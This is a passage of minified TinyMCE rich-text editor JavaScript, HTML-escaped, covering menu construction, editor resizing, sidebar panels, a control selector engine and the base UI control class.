code&quot;},table:{title:&quot;Table&quot;},help:{title:&quot;Help&quot;}}),ee=function(e,t){return&quot;|&quot;===e?{name:&quot;|&quot;,item:{text:&quot;|&quot;}}:t?{name:e,item:t}:null},te=function(e,t){return function(e,t){for(var n=0,i=e.length;n&lt;i;n++)if(t(e[n],n))return N.some(n);return N.none()}(e,function(e){return e.name===t}).isSome()},ne=function(e){return e&amp;&amp;&quot;|&quot;===e.item.text},ie=function(n,e,t,i){var r,o,s,a,l,u,c;return e?(o=e[i],a=!0):o=Q[i],o&amp;&amp;(r={text:o.title},s=[],w.each((o.items||&quot;&quot;).split(/[ ,]/),function(e){var t=ee(e,n[e]);t&amp;&amp;s.push(t)}),a||w.each(n,function(e,t){e.context!==i||te(s,t)||(&quot;before&quot;===e.separator&amp;&amp;s.push({name:&quot;|&quot;,item:{text:&quot;|&quot;}}),e.prependToContext?s.unshift(ee(t,e)):s.push(ee(t,e)),&quot;after&quot;===e.separator&amp;&amp;s.push({name:&quot;|&quot;,item:{text:&quot;|&quot;}}))}),r.menu=G((l=t,u=Z(s,function(e){return!1===l.hasOwnProperty(e.name)}),c=Z(u,function(e,t){return!ne(e)||!ne(u[t-1])}),Z(c,function(e,t){return!ne(e)||0&lt;t&amp;&amp;t&lt;c.length-1})),function(e){return e.item}),!r.menu.length)?null:r},re=function(e){for(var t,n=[],i=function(e){var t,n=[],i=h(e);if(i)for(t in i)n.push(t);else for(t in Q)n.push(t);return n}(e),r=w.makeMap((t=e,t.getParam(&quot;removed_menuitems&quot;,&quot;&quot;)).split(/[ ,]/)),o=c(e),s=&quot;string&quot;==typeof o?o.split(/[ ,]/):i,a=0;a&lt;s.length;a++){var l=s[a],u=ie(e.menuItems,h(e),r,l);u&amp;&amp;n.push(u)}return n},oe=p.DOM,se=function(e){return{width:e.clientWidth,height:e.clientHeight}},ae=function(e,t,n){var i,r,o,s;i=e.getContainer(),r=e.getContentAreaContainer().firstChild,o=se(i),s=se(r),null!==t&amp;&amp;(t=Math.max(e.getParam(&quot;min_width&quot;,100,&quot;number&quot;),t),t=Math.min(e.getParam(&quot;max_width&quot;,65535,&quot;number&quot;),t),oe.setStyle(i,&quot;width&quot;,t+(o.width-s.width)),oe.setStyle(r,&quot;width&quot;,t)),n=Math.max(e.getParam(&quot;min_height&quot;,100,&quot;number&quot;),n),n=Math.min(e.getParam(&quot;max_height&quot;,65535,&quot;number&quot;),n),oe.setStyle(r,&quot;height&quot;,n),y(e)},le=ae,ue=function(e,t,n){var i=e.getContentAreaContainer();ae(e,i.clientWidth+t,i.clientHeight+n)},ce=tinymce.util.Tools.resolve(&quot;tinymce.Env&quot;),de=function(e,t,n){var i,r=e.settings[n];r&amp;&amp;r((i=t.getEl(&quot;body&quot;),{element:function(){return i}}))},fe=function(c,d,f){return function(e){var t,n,i,r,o,s=e.control,a=s.parents().filter(&quot;panel&quot;)[0],l=a.find(&quot;#&quot;+d)[0],u=(t=f,n=d,w.grep(t,function(e){return e.name===n})[0]);i=d,r=a,o=f,w.each(o,function(e){var t=r.items().filter(&quot;#&quot;+e.name)[0];t&amp;&amp;t.visible()&amp;&amp;e.name!==i&amp;&amp;(de(e,t,&quot;onhide&quot;),t.visible(!1))}),s.parent().items().each(function(e){e.active(!1)}),l&amp;&amp;l.visible()?(de(u,l,&quot;onhide&quot;),l.hide(),s.active(!1)):(l?l.show():(l=v.create({type:&quot;container&quot;,name:d,layout:&quot;stack&quot;,classes:&quot;sidebar-panel&quot;,html:&quot;&quot;}),a.prepend(l),de(u,l,&quot;onrender&quot;)),de(u,l,&quot;onshow&quot;),s.active(!0)),y(c)}},he=function(e){return!(ce.ie&amp;&amp;!(11&lt;=ce.ie)||!e.sidebars)&amp;&amp;0&lt;e.sidebars.length},me=function(n){return{type:&quot;panel&quot;,name:&quot;sidebar&quot;,layout:&quot;stack&quot;,classes:&quot;sidebar&quot;,items:[{type:&quot;toolbar&quot;,layout:&quot;stack&quot;,classes:&quot;sidebar-toolbar&quot;,items:w.map(n.sidebars,function(e){var t=e.settings;return{type:&quot;button&quot;,icon:t.icon,image:t.image,tooltip:t.tooltip,onclick:fe(n,e.name,n.sidebars)}})}]}},ge=function(e){var t=function(){e._skinLoaded=!0,o(e)};return function(){e.initialized?t():e.on(&quot;init&quot;,t)}},pe=p.DOM,ve=function(e){return{type:&quot;panel&quot;,name:&quot;iframe&quot;,layout:&quot;stack&quot;,classes:&quot;edit-area&quot;,border:e,html:&quot;&quot;}},be=function(t,e,n){var i,r,o,s,a;if(!1===m(t)&amp;&amp;n.skinUiCss?pe.styleSheetLoader.load(n.skinUiCss,ge(t)):ge(t)(),i=e.panel=v.create({type:&quot;panel&quot;,role:&quot;application&quot;,classes:&quot;tinymce&quot;,style:&quot;visibility: hidden&quot;,layout:&quot;stack&quot;,border:1,items:[{type:&quot;container&quot;,classes:&quot;top-part&quot;,items:[!1===d(t)?null:{type:&quot;menubar&quot;,border:&quot;0 0 1 0&quot;,items:re(t)},A(t,f(t))]},he(t)?(s=t,{type:&quot;panel&quot;,layout:&quot;stack&quot;,classes:&quot;edit-aria-container&quot;,border:&quot;1 0 0 0&quot;,items:[ve(&quot;0&quot;),me(s)]}):ve(&quot;1 0 0 0&quot;)]}),W.setUiContainer(t,i),&quot;none&quot;!==g(t)&amp;&amp;(r={type:&quot;resizehandle&quot;,direction:g(t),onResizeStart:function(){var e=t.getContentAreaContainer().firstChild;o={width:e.clientWidth,height:e.clientHeight}},onResize:function(e){&quot;both&quot;===g(t)?le(t,o.width+e.deltaX,o.height+e.deltaY):le(t,null,o.height+e.deltaY)}}),t.getParam(&quot;statusbar&quot;,!0,&quot;boolean&quot;)){var l=b.translate([&quot;Powered by {0}&quot;,&#039;&lt;a href=&quot;https://www.tiny.cloud/?utm_campaign=editor_referral&amp;amp;utm_medium=poweredby&amp;amp;utm_source=tinymce&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot; role=&quot;presentation&quot; tabindex=&quot;-1&quot;&gt;Tiny&lt;/a&gt;&#039;]),u=t.getParam(&quot;branding&quot;,!0,&quot;boolean&quot;)?{type:&quot;label&quot;,classes:&quot;branding&quot;,html:&quot; &quot;+l}:null;i.add({type:&quot;panel&quot;,name:&quot;statusbar&quot;,classes:&quot;statusbar&quot;,layout:&quot;flow&quot;,border:&quot;1 0 0 0&quot;,ariaRoot:!0,items:[{type:&quot;elementpath&quot;,editor:t},r,u]})}return x(t),t.on(&quot;SwitchMode&quot;,(a=i,function(e){a.find(&quot;*&quot;).disabled(&quot;readonly&quot;===e.mode)})),i.renderBefore(n.targetNode).reflow(),t.getParam(&quot;readonly&quot;,!1,&quot;boolean&quot;)&amp;&amp;t.setMode(&quot;readonly&quot;),n.width&amp;&amp;pe.setStyle(i.getEl(),&quot;width&quot;,n.width),t.on(&quot;remove&quot;,function(){i.remove(),i=null}),R(t,i),F(t),{iframeContainer:i.find(&quot;#iframe&quot;)[0].getEl(),editorContainer:i.getEl()}},ye=tinymce.util.Tools.resolve(&quot;tinymce.dom.DomQuery&quot;),xe=0,we={id:function(){return&quot;mceu_&quot;+xe++},create:function(e,t,n){var i=_.document.createElement(e);return p.DOM.setAttribs(i,t),&quot;string&quot;==typeof n?i.innerHTML=n:w.each(n,function(e){e.nodeType&amp;&amp;i.appendChild(e)}),i},createFragment:function(e){return p.DOM.createFragment(e)},getWindowSize:function(){return p.DOM.getViewPort()},getSize:function(e){var t,n;if(e.getBoundingClientRect){var i=e.getBoundingClientRect();t=Math.max(i.width||i.right-i.left,e.offsetWidth),n=Math.max(i.height||i.bottom-i.bottom,e.offsetHeight)}else t=e.offsetWidth,n=e.offsetHeight;return{width:t,height:n}},getPos:function(e,t){return p.DOM.getPos(e,t||we.getContainer())},getContainer:function(){return ce.container?ce.container:_.document.body},getViewPort:function(e){return p.DOM.getViewPort(e)},get:function(e){return _.document.getElementById(e)},addClass:function(e,t){return p.DOM.addClass(e,t)},removeClass:function(e,t){return p.DOM.removeClass(e,t)},hasClass:function(e,t){return p.DOM.hasClass(e,t)},toggleClass:function(e,t,n){return p.DOM.toggleClass(e,t,n)},css:function(e,t,n){return p.DOM.setStyle(e,t,n)},getRuntimeStyle:function(e,t){return p.DOM.getStyle(e,t,!0)},on:function(e,t,n,i){return p.DOM.bind(e,t,n,i)},off:function(e,t,n){return p.DOM.unbind(e,t,n)},fire:function(e,t,n){return p.DOM.fire(e,t,n)},innerHtml:function(e,t){p.DOM.setHTML(e,t)}},_e=function(e){return&quot;static&quot;===we.getRuntimeStyle(e,&quot;position&quot;)},Re=function(e){return e.state.get(&quot;fixed&quot;)};function Ce(e,t,n){var i,r,o,s,a,l,u,c,d,f;return d=Ee(),o=(r=we.getPos(t,W.getUiContainer(e))).x,s=r.y,Re(e)&amp;&amp;_e(_.document.body)&amp;&amp;(o-=d.x,s-=d.y),i=e.getEl(),a=(f=we.getSize(i)).width,l=f.height,u=(f=we.getSize(t)).width,c=f.height,&quot;b&quot;===(n=(n||&quot;&quot;).split(&quot;&quot;))[0]&amp;&amp;(s+=c),&quot;r&quot;===n[1]&amp;&amp;(o+=u),&quot;c&quot;===n[0]&amp;&amp;(s+=Math.round(c/2)),&quot;c&quot;===n[1]&amp;&amp;(o+=Math.round(u/2)),&quot;b&quot;===n[3]&amp;&amp;(s-=l),&quot;r&quot;===n[4]&amp;&amp;(o-=a),&quot;c&quot;===n[3]&amp;&amp;(s-=Math.round(l/2)),&quot;c&quot;===n[4]&amp;&amp;(o-=Math.round(a/2)),{x:o,y:s,w:a,h:l}}var Ee=function(){var e=_.window;return{x:Math.max(e.pageXOffset,_.document.body.scrollLeft,_.document.documentElement.scrollLeft),y:Math.max(e.pageYOffset,_.document.body.scrollTop,_.document.documentElement.scrollTop),w:e.innerWidth||_.document.documentElement.clientWidth,h:e.innerHeight||_.document.documentElement.clientHeight}},ke=function(e){var t,n=W.getUiContainer(e);return n&amp;&amp;!Re(e)?{x:0,y:0,w:(t=n).scrollWidth-1,h:t.scrollHeight-1}:Ee()},He={testMoveRel:function(e,t){for(var n=ke(this),i=0;i&lt;t.length;i++){var r=Ce(this,e,t[i]);if(Re(this)){if(0&lt;r.x&amp;&amp;r.x+r.w&lt;n.w&amp;&amp;0&lt;r.y&amp;&amp;r.y+r.h&lt;n.h)return t[i]}else if(r.x&gt;n.x&amp;&amp;r.x+r.w&lt;n.w+n.x&amp;&amp;r.y&gt;n.y&amp;&amp;r.y+r.h&lt;n.h+n.y)return t[i]}return t[0]},moveRel:function(e,t){&quot;string&quot;!=typeof t&amp;&amp;(t=this.testMoveRel(e,t));var n=Ce(this,e,t);return this.moveTo(n.x,n.y)},moveBy:function(e,t){var n=this.layoutRect();return this.moveTo(n.x+e,n.y+t),this},moveTo:function(e,t){var n=this;function i(e,t,n){return e&lt;0?0:t&lt;e+n&amp;&amp;(e=t-n)&lt;0?0:e}if(n.settings.constrainToViewport){var r=ke(this),o=n.layoutRect();e=i(e,r.w+r.x,o.w),t=i(t,r.h+r.y,o.h)}var s=W.getUiContainer(n);return s&amp;&amp;_e(s)&amp;&amp;!Re(n)&amp;&amp;(e-=s.scrollLeft,t-=s.scrollTop),s&amp;&amp;(e+=1,t+=1),n.state.get(&quot;rendered&quot;)?n.layoutRect({x:e,y:t}).repaint():(n.settings.x=e,n.settings.y=t),n.fire(&quot;move&quot;,{x:e,y:t}),n}},Se=tinymce.util.Tools.resolve(&quot;tinymce.util.Class&quot;),Te=tinymce.util.Tools.resolve(&quot;tinymce.util.EventDispatcher&quot;),Me=function(e){var t;if(e)return&quot;number&quot;==typeof e?{top:e=e||0,left:e,bottom:e,right:e}:(1===(t=(e=e.split(&quot; &quot;)).length)?e[1]=e[2]=e[3]=e[0]:2===t?(e[2]=e[0],e[3]=e[1]):3===t&amp;&amp;(e[3]=e[1]),{top:parseInt(e[0],10)||0,right:parseInt(e[1],10)||0,bottom:parseInt(e[2],10)||0,left:parseInt(e[3],10)||0})},Ne=function(i,e){function t(e){var t=parseFloat(function(e){var t=i.ownerDocument.defaultView;if(t){var n=t.getComputedStyle(i,null);return n?(e=e.replace(/[A-Z]/g,function(e){return&quot;-&quot;+e}),n.getPropertyValue(e)):null}return i.currentStyle[e]}(e));return isNaN(t)?0:t}return{top:t(e+&quot;TopWidth&quot;),right:t(e+&quot;RightWidth&quot;),bottom:t(e+&quot;BottomWidth&quot;),left:t(e+&quot;LeftWidth&quot;)}};function Pe(){}function We(e){this.cls=[],this.cls._map={},this.onchange=e||Pe,this.prefix=&quot;&quot;}w.extend(We.prototype,{add:function(e){return e&amp;&amp;!this.contains(e)&amp;&amp;(this.cls._map[e]=!0,this.cls.push(e),this._change()),this},remove:function(e){if(this.contains(e)){var t=void 0;for(t=0;t&lt;this.cls.length&amp;&amp;this.cls[t]!==e;t++);this.cls.splice(t,1),delete this.cls._map[e],this._change()}return this},toggle:function(e,t){var n=this.contains(e);return n!==t&amp;&amp;(n?this.remove(e):this.add(e),this._change()),this},contains:function(e){return!!this.cls._map[e]},_change:function(){delete this.clsValue,this.onchange.call(this)}}),We.prototype.toString=function(){var e;if(this.clsValue)return this.clsValue;e=&quot;&quot;;for(var t=0;t&lt;this.cls.length;t++)0&lt;t&amp;&amp;(e+=&quot; &quot;),e+=this.prefix+this.cls[t];return e};var De,Oe,Ae,Be=/^([\w\\*]+)?(?:#([\w\-\\]+))?(?:\.([\w\\\.]+))?(?:\[\@?([\w\\]+)([\^\$\*!~]?=)([\w\\]+)\])?(?:\:(.+))?/i,Le=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|[&#039;&quot;][^&#039;&quot;]*[&#039;&quot;]|[^\[\]&#039;&quot;]+)+\]|\\.|[^ &gt;+~,(\[\\]+)+|[&gt;+~])(\s*,\s*)?((?:.|\r|\n)*)/g,ze=/^\s*|\s*$/g,Ie=Se.extend({init:function(e){var o=this.match;function s(e,t,n){var i;function r(e){e&amp;&amp;t.push(e)}return r(function(t){if(t)return t=t.toLowerCase(),function(e){return&quot;*&quot;===t||e.type===t}}((i=Be.exec(e.replace(ze,&quot;&quot;)))[1])),r(function(t){if(t)return function(e){return e._name===t}}(i[2])),r(function(n){if(n)return n=n.split(&quot;.&quot;),function(e){for(var t=n.length;t--;)if(!e.classes.contains(n[t]))return!1;return!0}}(i[3])),r(function(n,i,r){if(n)return function(e){var t=e[n]?e[n]():&quot;&quot;;return i?&quot;=&quot;===i?t===r:&quot;*=&quot;===i?0&lt;=t.indexOf(r):&quot;~=&quot;===i?0&lt;=(&quot; &quot;+t+&quot; &quot;).indexOf(&quot; &quot;+r+&quot; &quot;):&quot;!=&quot;===i?t!==r:&quot;^=&quot;===i?0===t.indexOf(r):&quot;$=&quot;===i&amp;&amp;t.substr(t.length-r.length)===r:!!r}}(i[4],i[5],i[6])),r(function(i){var t;if(i)return(i=/(?:not\((.+)\))|(.+)/i.exec(i))[1]?(t=a(i[1],[]),function(e){return!o(e,t)}):(i=i[2],function(e,t,n){return&quot;first&quot;===i?0===t:&quot;last&quot;===i?t===n-1:&quot;even&quot;===i?t%2==0:&quot;odd&quot;===i?t%2==1:!!e[i]&amp;&amp;e[i]()})}(i[7])),t.pseudo=!!i[7],t.direct=n,t}function a(e,t){var n,i,r,o=[];do{if(Le.exec(&quot;&quot;),(i=Le.exec(e))&amp;&amp;(e=i[3],o.push(i[1]),i[2])){n=i[3];break}}while(i);for(n&amp;&amp;a(n,t),e=[],r=0;r&lt;o.length;r++)&quot;&gt;&quot;!==o[r]&amp;&amp;e.push(s(o[r],[],&quot;&gt;&quot;===o[r-1]));return t.push(e),t}this._selectors=a(e,[])},match:function(e,t){var n,i,r,o,s,a,l,u,c,d,f,h,m;for(n=0,i=(t=t||this._selectors).length;n&lt;i;n++){for(m=e,h=0,r=(o=(s=t[n]).length)-1;0&lt;=r;r--)for(u=s[r];m;){if(u.pseudo)for(c=d=(f=m.parent().items()).length;c--&amp;&amp;f[c]!==m;);for(a=0,l=u.length;a&lt;l;a++)if(!u[a](m,c,d)){a=l+1;break}if(a===l){h++;break}if(r===o-1)break;m=m.parent()}if(h===o)return!0}return!1},find:function(e){var t,n,u=[],i=this._selectors;function c(e,t,n){var i,r,o,s,a,l=t[n];for(i=0,r=e.length;i&lt;r;i++){for(a=e[i],o=0,s=l.length;o&lt;s;o++)if(!l[o](a,i,r)){o=s+1;break}if(o===s)n===t.length-1?u.push(a):a.items&amp;&amp;c(a.items(),t,n+1);else if(l.direct)return;a.items&amp;&amp;c(a.items(),t,n)}}if(e.items){for(t=0,n=i.length;t&lt;n;t++)c(e.items(),i[t],0);1&lt;n&amp;&amp;(u=function(e){for(var t,n=[],i=e.length;i--;)(t=e[i]).__checked||(n.push(t),t.__checked=1);for(i=n.length;i--;)delete n[i].__checked;return n}(u))}return De||(De=Ie.Collection),new De(u)}}),Fe=Array.prototype.push,Ue=Array.prototype.slice;Ae={length:0,init:function(e){e&amp;&amp;this.add(e)},add:function(e){return w.isArray(e)?Fe.apply(this,e):e instanceof Oe?this.add(e.toArray()):Fe.call(this,e),this},set:function(e){var t,n=this,i=n.length;for(n.length=0,n.add(e),t=n.length;t&lt;i;t++)delete n[t];return n},filter:function(t){var e,n,i,r,o=[];for(&quot;string&quot;==typeof t?(t=new Ie(t),r=function(e){return t.match(e)}):r=t,e=0,n=this.length;e&lt;n;e++)r(i=this[e])&amp;&amp;o.push(i);return new Oe(o)},slice:function(){return new Oe(Ue.apply(this,arguments))},eq:function(e){return-1===e?this.slice(e):this.slice(e,+e+1)},each:function(e){return w.each(this,e),this},toArray:function(){return w.toArray(this)},indexOf:function(e){for(var t=this.length;t--&amp;&amp;this[t]!==e;);return t},reverse:function(){return new Oe(w.toArray(this).reverse())},hasClass:function(e){return!!this[0]&amp;&amp;this[0].classes.contains(e)},prop:function(t,n){var e;return n!==undefined?(this.each(function(e){e[t]&amp;&amp;e[t](n)}),this):(e=this[0])&amp;&amp;e[t]?e[t]():void 0},exec:function(t){var n=w.toArray(arguments).slice(1);return this.each(function(e){e[t]&amp;&amp;e[t].apply(e,n)}),this},remove:function(){for(var e=this.length;e--;)this[e].remove();return this},addClass:function(t){return this.each(function(e){e.classes.add(t)})},removeClass:function(t){return this.each(function(e){e.classes.remove(t)})}},w.each(&quot;fire on off show hide append prepend before after reflow&quot;.split(&quot; &quot;),function(n){Ae[n]=function(){var t=w.toArray(arguments);return this.each(function(e){n in e&amp;&amp;e[n].apply(e,t)}),this}}),w.each(&quot;text name disabled active selected checked visible parent value data&quot;.split(&quot; &quot;),function(t){Ae[t]=function(e){return this.prop(t,e)}}),Oe=Se.extend(Ae);var Ve=Ie.Collection=Oe,Ye=function(e){this.create=e.create};Ye.create=function(r,o){return new Ye({create:function(t,n){var i,e=function(e){t.set(n,e.value)};return t.on(&quot;change:&quot;+n,function(e){r.set(o,e.value)}),r.on(&quot;change:&quot;+o,e),(i=t._bindings)||(i=t._bindings=[],t.on(&quot;destroy&quot;,function(){for(var e=i.length;e--;)i[e]()})),i.push(function(){r.off(&quot;change:&quot;+o,e)}),r.get(o)}})};var $e=tinymce.util.Tools.resolve(&quot;tinymce.util.Observable&quot;);function qe(e){return 0&lt;e.nodeType}var Xe,je,Je=Se.extend({Mixins:[$e],init:function(e){var t,n;for(t in e=e||{})(n=e[t])instanceof Ye&amp;&amp;(e[t]=n.create(this,t));this.data=e},set:function(t,n){var i,r,o=this.data[t];if(n instanceof Ye&amp;&amp;(n=n.create(this,t)),&quot;object&quot;==typeof t){for(i in t)this.set(i,t[i]);return this}return function e(t,n){var i,r;if(t===n)return!0;if(null===t||null===n)return t===n;if(&quot;object&quot;!=typeof t||&quot;object&quot;!=typeof n)return t===n;if(w.isArray(n)){if(t.length!==n.length)return!1;for(i=t.length;i--;)if(!e(t[i],n[i]))return!1}if(qe(t)||qe(n))return t===n;for(i in r={},n){if(!e(t[i],n[i]))return!1;r[i]=!0}for(i in t)if(!r[i]&amp;&amp;!e(t[i],n[i]))return!1;return!0}(o,n)||(this.data[t]=n,r={target:this,name:t,value:n,oldValue:o},this.fire(&quot;change:&quot;+t,r),this.fire(&quot;change&quot;,r)),this},get:function(e){return this.data[e]},has:function(e){return e in this.data},bind:function(e){return Ye.create(this,e)},destroy:function(){this.fire(&quot;destroy&quot;)}}),Ge={},Ke={add:function(e){var t=e.parent();if(t){if(!t._layout||t._layout.isNative())return;Ge[t._id]||(Ge[t._id]=t),Xe||(Xe=!0,u.requestAnimationFrame(function(){var e,t;for(e in Xe=!1,Ge)(t=Ge[e]).state.get(&quot;rendered&quot;)&amp;&amp;t.reflow();Ge={}},_.document.body))}},remove:function(e){Ge[e._id]&amp;&amp;delete Ge[e._id]}},Ze=&quot;onmousewheel&quot;in _.document,Qe=!1,et=0,tt={Statics:{classPrefix:&quot;mce-&quot;},isRtl:function(){return je.rtl},classPrefix:&quot;mce-&quot;,init:function(t){var e,n,i=this;function r(e){var t;for(e=e.split(&quot; &quot;),t=0;t&lt;e.length;t++)i.classes.add(e[t])}i.settings=t=w.extend({},i.Defaults,t),i._id=t.id||&quot;mceu_&quot;+et++,i._aria={role:t.role},i._elmCache={},i.$=ye,i.state=new Je({visible:!0,active:!1,disabled:!1,value:&quot;&quot;}),i.data=new Je(t.data),i.classes=new We(function(){i.state.get(&quot;rendered&quot;)&amp;&amp;(i.getEl().className=this.toString())}),i.classes.prefix=i.classPrefix,(e=t.classes)&amp;&amp;(i.Defaults&amp;&amp;(n=i.Defaults.classes)&amp;&amp;e!==n&amp;&amp;r(n),r(e)),w.each(&quot;title text name visible disabled active value&quot;.split(&quot; &quot;),function(e){e in t&amp;&amp;i[e](t[e])}),i.on(&quot;click&quot;,function(){if(i.disabled())return!1}),i.settings=t,i.borderBox=Me(t.border),i.paddingBox=Me(t.padding),i.marginBox=Me(t.margin),t.hidden&amp;&amp;i.hide()},Properties:&quot;parent,name&quot;,getContainerElm:function(){var e=W.getUiContainer(this);return e||we.getContainer()},getParentCtrl:function(e){for(var t,n=this.getRoot().controlIdLookup;e&amp;&amp;n&amp;&amp;!(t=n[e.id]);)e=e.parentNode;return t},initLayoutRect:function(){var e,t,n,i,r,o,s,a,l,u,c=this,d=c.settings,f=c.getEl();e=c.borderBox=c.borderBox||Ne(f,&quot;border&quot;),c.paddingBox=c.paddingBox||Ne(f,&quot;padding&quot;),c.marginBox=c.marginBox||Ne(f,&quot;margin&quot;),u=we.getSize(f),a=d.minWidth,l=d.minHeight,r=a||u.width,o=l||u.height,n=d.width,i=d.height,s=void 0!==(s=d.autoResize)?s:!n&amp;&amp;!i,n=n||r,i=i||o;var h=e.left+e.right,m=e.top+e.bottom,g=d.maxWidth||65535,p=d.maxHeight||65535;return c._layoutRect=t={x:d.x||0,y:d.y||0,w:n,h:i,deltaW:h,deltaH:m,contentW:n-h,contentH:i-m,innerW:n-h,innerH:i-m,startMinWidth:a||0,startMinHeight:l||0,minW:Math.min(r,g),minH:Math.min(o,p),maxW:g,maxH:p,autoResize:s,scrollW:0},c._lastLayoutRect={},t},layoutRect:function(e){var t,n,i,r,o,s=this,a=s._layoutRect;return a||(a=s.initLayoutRect()),e?(i=a.deltaW,r=a.deltaH,e.x!==undefined&amp;&amp;(a.x=e.x),e.y!==undefined&amp;&amp;(a.y=e.y),e.minW!==undefined&amp;&amp;(a.minW=e.minW),e.minH!==undefined&amp;&amp;(a.minH=e.minH),(n=e.w)!==undefined&amp;&amp;(n=(n=n&lt;a.minW?a.minW:n)&gt;a.maxW?a.maxW:n,a.w=n,a.innerW=n-i),(n=e.h)!==undefined&amp;&amp;(n=(n=n&lt;a.minH?a.minH:n)&gt;a.maxH?a.maxH:n,a.h=n,a.innerH=n-r),(n=e.innerW)!==undefined&amp;&amp;(n=(n=n&lt;a.minW-i?a.minW-i:n)&gt;a.maxW-i?a.maxW-i:n,a.innerW=n,a.w=n+i),(n=e.innerH)!==undefined&amp;&amp;(n=(n=n&lt;a.minH-r?a.minH-r:n)&gt;a.maxH-r?a.maxH-r:n,a.innerH=n,a.h=n+r),e.contentW!==undefined&amp;&amp;(a.contentW=e.contentW),e.contentH!==undefined&amp;&amp;(a.contentH=e.contentH),(t=s._lastLayoutRect).x===a.x&amp;&amp;t.y===a.y&amp;&amp;t.w===a.w&amp;&amp;t.h===a.h||((o=je.repaintControls)&amp;&amp;o.map&amp;&amp;!o.map[s._id]&amp;&amp;(o.push(s),o.map[s._id]=!0),t.x=a.x,t.y=a.y,t.w=a.w,t.h=a.h),s):a},repaint:function(){var e,t,n,i,r,o,s,a,l,u,c=this;l=_.document.createRange?function(e){return e}:Math.round,e=c.getEl().style,i=c._layoutRect,a=c._lastRepaintRect||{},o=(r=c.borderBox).left+r.right,s=r.top+r.bottom,i.x!==a.x&amp;&amp;(e.left=l(i.x)+&quot;px&quot;,a.x=i.x),i.y!==a.y&amp;&amp;(e.top=l(i.y)+&quot;px&quot;,a.y=i.y),i.w!==a.w&amp;&amp;(u=l(i.w-o),e.width=(0&lt;=u?u:0)+&quot;px&quot;,a.w=i.w),i.h!==a.h&amp;&amp;(u=l(i.h-s),e.height=(0&lt;=u?u:0)+&quot;px&quot;,a.h=i.h),c._hasBody&amp;&amp;i.innerW!==a.innerW&amp;&amp;(u=l(i.innerW),(n=c.getEl(&quot;body&quot;))&amp;&amp;((t=n.style).width=(0&lt;=u?u:0)+&quot;px&quot;),a.innerW=i.innerW),c._hasBody&amp;&amp;i.innerH!==a.innerH&amp;&amp;(u=l(i.innerH),(n=n||c.getEl(&quot;body&quot;))&amp;&amp;((t=t||n.style).height=(0&lt;=u?u:0)+&quot;px&quot;),a.innerH=i.innerH),c._lastRepaintRect=a,c.fire(&quot;repaint&quot;,{},!1)},updateLayoutRect:function(){var e=this;e.parent()._lastRect=null,we.css(e.getEl(),{width:&quot;&quot;,height:&quot;&quot;}),e._layoutRect=e._lastRepaintRect=e._lastLayoutRect=null,e.initLayoutRect()},on:function(e,t){var n,i,r,o=this;return nt(o).on(e,&quot;string&quot;!=typeof(n=t)?n:function(e){return i||o.parentsAndSelf().each(function(e){var t=e.settings.callbacks;if(t&amp;&amp;(i=t[n]))return r=e,!1}),i?i.call(r,e):(e.action=n,void this.fire(&quot;execute&quot;,e))}),o},off:function(e,t){return nt(this).off(e,t),this},fire:function(e,t,n){if((t=t||{}).control||(t.control=this),t=nt(this).fire(e,t),!1!==n&amp;&amp;this.parent)for(var i=this.parent();i&amp;&amp;!t.isPropagationStopped();)i.fire(e,t,!1),i=i.parent();return t},hasEventListeners:function(e){return nt(this).has(e)},parents:function(e){var t,n=new Ve;for(t=this.parent();t;t=t.parent())n.add(t);return e&amp;&amp;(n=n.filter(e)),n},parentsAndSelf:function(e){return new Ve(this).add(this.parents(e))},next:function(){var e=this.parent().items();return e[e.indexOf(this)+1]},prev:function(){var e=this.parent().items();return e[e.indexOf(this)-1]},innerHtml:function(e){return this.$el.html(e),this},getEl:function(e){var t=e?this._id+&quot;-&quot;+e:this._id;return this._elmCache[t]||(this._elmCache[t]=ye(&quot;#&quot;+t)[0]),this._elmCache[t]},show:function(){return this.visible(!0)},hide:function(){return this.visible(!1)},focus:function(){try{this.getEl().focus()}catch(e){}return this},blur:function(){return this.getEl().blur(),this},aria:function(e,t){var n=this,i=n.getEl(n.ariaTarget);return void 0===t?n._aria[e]:(n._aria[e]=t,n.state.get(&quot;rendered&quot;)&amp;&amp;i.setAttribute(&quot;role&quot;===e?e:&quot;aria-&quot;+e,t),n)},encode:function(e,t){return!1!==t&amp;&amp;(e=this.translate(e)),(e||&quot;&quot;).replace(/[&amp;&lt;&gt;&quot;]/g,function(e){return&quot;&amp;#&quot;+e.charCodeAt(0)+&quot;;&quot;})},translate:function(e){return je.translate?je.translate(e):e},before:function(e){var t=this.parent();return t&amp;&amp;t.insert(e,t.items().indexOf(this),!0),this},after:function(e){var t=this.parent();return t&amp;&amp;t.insert(e,t.items().indexOf(this)),this},remove:function(){var t,e,n=this,i=n.getEl(),r=n.parent();if(n.items){var o=n.items().toArray();for(e=o.length;e--;)o[e].remove()}r&amp;&amp;r.items&amp;&amp;(t=[],r.items().each(function(e){e!==n&amp;&amp;t.push(e)}),r.items().set(t),r._lastRect=null),n._eventsRoot&amp;&amp;n._eventsRoot===n&amp;&amp;ye(i).off();var s=n.getRoot().controlIdLookup;return s&amp;&amp;delete s[n._id],i&amp;&amp;i.parentNode&amp;&amp;i.parentNode.removeChild(i),n.state.set(&quot;rendered&quot;,!1),n.state.destroy(),n.fire(&quot;remove&quot;),n},renderBefore:function(e){return ye(e).before(this.renderHtml()),this.postRender(),this},renderTo:function(e){return ye(e||this.getContainerElm()).append(this.renderHtml()),this.postRender(),this},preRender:function(){},render:function(){},renderHtml:function(){return&#039;&lt;div id=&quot;&#039;+this._id+&#039;&quot; class=&quot;&#039;+this.classes+&#039;&quot;&gt;&lt;/div&gt;&#039;},postRender:function(){var e,t,n,i,r,o=this,s=o.settings;for(i in o.$el=ye(o.getEl()),o.state.set(&quot;rendered&quot;,!0),s)0===i.indexOf(&quot;on&quot;)&amp;&amp;o.on(i.substr(2),s[i]);if(o._eventsRoot){for(n=o.parent();!r&amp;&amp;n;n=n.parent())r=n._eventsRoot;if(r)for(i in r._nativeEvents)o._nativeEvents[i]=!0}it(o),s.style&amp;&amp;(e=o.getEl())&amp;&amp;(e.setAttribute(&quot;style&quot;,s.style),e.style.cssText=s.style),o.settings.border&amp;&amp;(t=o.borderBox,o.$el.css({&quot;border-top-width&quot;:t.top,&quot;border-right-width&quot;:t.right,&quot;border-bottom-width&quot;:t.bottom,&quot;border-left-width&quot;:t.left}));var a=o.getRoot();for(var l in 